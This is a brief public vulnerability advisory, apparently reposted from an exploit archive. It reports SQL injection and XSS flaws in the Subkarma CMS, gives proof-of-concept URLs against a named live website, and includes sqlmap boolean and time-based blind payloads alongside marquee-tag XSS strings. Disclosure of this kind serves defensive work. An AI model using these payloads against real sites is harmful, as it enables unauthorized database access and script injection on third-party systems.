CMS Subkarma Cross Site Scripting / SQL Injection Vulnerabilities

# Multiple SQL Injection & XSS on CMS SUBKARMA

# Risk: High

# CWE number: CWE-89,CWE-79

# Date: 13/10/2014

# Vendor: www.jttel.com.tw

# Author: Felipe " Renzi " Gabriel

# Contact: [email protected]

# Tested on:  Linux Mint ; Firefox ; Sqlmap 1.0-dev-nongit-20140906

# Vulnerables File: news.php ; product.php ; pro_con.php

# Exploits: http://www.target.com/news.php?id=[XSS]

            http://www.target.com/product.php?cat_id=[SQLI] & [XSS]
  
            http://www.target.com/pro_con.php?id=[SQLI] & [XSS]


# PoC:      http://www.cideko.com/product.php?cat_id=18  

            http://www.cideko.com/pro_con.php?id=3 


--- "SQLI using SQLMAP."--- 
            
    Place: GET
    Parameter: cat_id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat_id=18 AND 6427=6427

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: cat_id=18 AND 7867=BENCHMARK(5000000,MD5(0x4d666b6e))
---


--- " XSS using HTML injection."---

    http://www.cideko.com/news.php?id=38"><marquee>XSS</marquee>

    http://www.cideko.com/product.php?cat_id=18"><marquee>XSS</marquee>
  
    http://www.cideko.com/pro_con.php?id=3"><marquee>XSS</marquee>

# Note

The SQL Injection on file pro_con.php parameter id, was published by Ali Pandidan.
Reference, http://cxsecurity.com/issue/WLB-2011020004 .

# Thank's

#  0day.today [2018-01-08]  #